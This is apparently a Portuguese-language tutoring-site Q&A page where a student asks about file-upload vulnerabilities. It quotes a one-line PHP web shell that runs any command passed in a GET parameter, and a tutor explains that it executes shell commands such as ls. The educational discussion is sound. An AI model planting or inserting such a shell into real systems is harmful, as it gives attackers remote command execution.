Shell php

Computação Programação Introdução a computação

As vulnerabilidades de um upload de arquivos ocorrem quando um servidor da Web permite que os usuários façam upload de arquivos para o seu sistema de arquivos sem validar suficientemente coisas como nome, tipo, conteúdo ou tamanho. 

Observado o código abaixo, o que ele irá executar no sistema?

<?php echo system($_GET[‘command’]); ?>

Foto de Cinara S.
Cinara Aparecida perguntou há 1 ano

Sabe a resposta?

Ganhe 10 pts por resposta de qualidade
Responder dúvida
1 resposta
0
votos
Nenhum usuário votou nessa resposta como útil.
Professor Scavy K.
Identidade verificada
  • CPF verificado
  • E-mail verificado
Respondeu há 1 ano

Olá!

Ele retorna o resultado do comando que você usar.

Exemplo

system("ls");

system("ls -l");

É como se você estive na tela do terminal, basta colocar os comandos do linux e testar.

Nesse exemplo, irá listar o diretório no qual o script está.

 

Qualquer dúvida estou aqui.

 

Envie uma dúvida gratuitamente

Envie sua primeira dúvida gratuitamente aqui no Tira-dúvidas Profes. Nossos professores particulares estão aqui para te ajudar.

Professores particulares de Computação

+ Ver todos
Encontre professor particular para te ajudar nos estudos
R$ 150 / h
Scavy K.
São Carlos / SP
Scavy K.
4,9 (8 avaliações)
Horas de aulas particulares ministradas 1 hora de aula
Tarefas resolvidas 11 tarefas resolvidas
Identidade verificada
  • CPF verificado
  • E-mail verificado
1ª hora grátis
Arduino - Computação
Graduação: Ciências Exatas e Matemática (Incompleto) (Instituto de Fisica de São Carlos (IFSC) - USP)
Olá, sou profissional na área de ti há 20 anos. Tenho experiência em redes, photoshop, excel, arduino, hardware, front-end, back-end, pdo, php, css...
R$ 60 / h
César D.
Mogi Guaçu / SP
César D.
4,9 (819 avaliações)
Horas de aulas particulares ministradas 87 horas de aula
Tarefas resolvidas 1.010 tarefas resolvidas
Identidade verificada
  • CPF verificado
  • E-mail verificado
1ª hora grátis
Técnico em Computação Computação - Programação Computação - Java
Graduação: Matemática Aplicada e Computacional (Universidade Estadual de Campinas (UNICAMP))
Faça aulas de matemática, computação e programação em c, c++, java e python.
R$ 90 / h
Márcio C.
Caxias do Sul / RS
Márcio C.
4,8 (78 avaliações)
Horas de aulas particulares ministradas 11 horas de aula
Tarefas resolvidas 91 tarefas resolvidas
Identidade verificada
  • CPF verificado
  • E-mail verificado
Computação - Microcontroladores Lógica Matemática Álgebra Booleana
Mestrado: Sistemas Eletrônicos (Escola Politécnica da Universidade de São Paulo (POLI-USP))
Professor de engenharia elétrica, matemática e física desde 2019 no profes. Venha aprender de forma agradável, amigável e interativa comigo!